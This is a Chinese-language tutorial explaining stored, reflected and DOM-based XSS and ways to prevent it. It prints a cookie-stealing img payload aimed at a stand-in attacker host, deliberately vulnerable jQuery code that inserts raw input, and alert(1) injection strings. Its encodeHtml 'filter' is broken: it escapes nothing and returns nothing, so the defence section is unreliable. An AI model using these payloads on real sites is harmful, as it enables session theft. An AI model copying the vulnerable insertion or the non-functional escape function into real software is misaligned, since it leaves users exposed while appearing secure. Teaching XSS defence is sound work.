XSS(Cross-site scripting)跨站腳本攻擊,是一種安全漏洞。示例代碼
1. XSS的含義
顧名思義,就是向web頁面或者網站的url添加惡意的script(腳本)代碼,使用戶訪問該網站時,執行惡意代碼,從而達到攻擊的目的。
發生XSS的場景:
1. 網站對用戶的輸入過濾不足,返回給用戶的展示結果過濾不足。
2. 網站的鏈接地址未經過過濾
2. 如何進行攻擊
攻擊種類多種多樣,通常包含如下:
1. 向網站注入腳本,獲取訪問用戶的cookie或者其他會話信息(session information)等私有數據
2. 通過注入腳本,將受害者的網頁重定向到攻擊者控制的網頁
3. 通過注入腳本,在用戶的計算機上執行其他惡意操作
3. XSS攻擊分類
XSS攻擊分為3類: 存儲型(持久型)、反射型(非持久型)、基於DOM型。危害程度遞減。
存儲型(Stored/Persistent XSS Attacks)
危害程度最大,可能危及所有用戶!
注入的腳本永久的存儲在目標服務器中。當瀏覽器發送數據請求時,受害者和網站的其他用戶都會再次拿到惡意腳本。
<示例>:
網站的評論功能
評論提交后,存儲到服務器。所有訪問該網站的用戶自動從服務器拉取到惡意代碼。
// 在評論框中輸入惡意腳本,提交到服務器 hello<script>廣告等</script>
反射型(Reflected/Non-Persistent XSS Attacks)
一般只危害當前操作用戶
誘騙用戶點擊惡意鏈接、提交一個被篡改過的表單、瀏覽惡意網站,將惡意代碼注入到訪問者的網站。
web服務器將注入的腳本反射到用戶的瀏覽器,比如通過錯誤信息、查詢結果等返回瀏覽器。
瀏覽器會執行這些惡意代碼,因為它假定響應來自於已經交互過的“受信任的”服務器。
<示例>:
在<img>的url上寫入一個腳本,將本地的cookie通過訪問地址發送到攻擊者的服務器
<img src=`http://www.fish.com:81?cookie=${document.cookie}` />
基於DOM型(DOM-based XSS Attacks)
攻擊最小,一般通過操作瀏覽器腳本的DOM對象,修改DOM節點屬性,在DOM節點插入閉合標簽等,進行攻擊。
<示例>:
通過輸入框給圖片的src賦值,展示圖片
<input type="text" id="web" /> <button id="add">添加圖片</button> <div class="box"></div> <script src="/node_modules/jquery/dist/jquery.js"></script> <script> // 不基於后端, 基於DOM,通過修改屬性、插入內容、document.write // 改變結構后造成攻擊 // 攻擊的內容成為xss payload $("#add").on('click', function() { // <img src="" onerror="alert(1)" id=""/> // " onerror="alert(1)" id=" // <img src=""><script>alert(1)<\/script>""> // "><script>alert(1)<\/script>" $(".box").html(`<img src=${$('#web').val()} />`) }) </script>
4. 如何避免攻擊
所有的攻擊歸根結底都是該過濾的沒有過濾,該轉義的沒有轉義。比較完整的避免攻擊方式,需要做以下三步:
1. 客戶端傳遞給服務器時,需要校驗先過濾一下。
這個方法不能解決問題,因為攻擊者可能會模擬ajax請求。
2. 服務器端再過濾一下
3. 直接在輸出的時候過濾
4. HttpOnly: 防止js讀取cookie后傳遞到第三方
過濾方法:
function encodeHtml(str) { str.replace(/&/g, '&'). replace(/'/g, '"'). replace(/"/g, '''). replace(/</g, '<').replace(/>/g, '>') }
⚠️: 對於單引號或雙引號,如果輸入內容用於后台或者本地存儲的sql拼接,會導致死循環等惡意結果。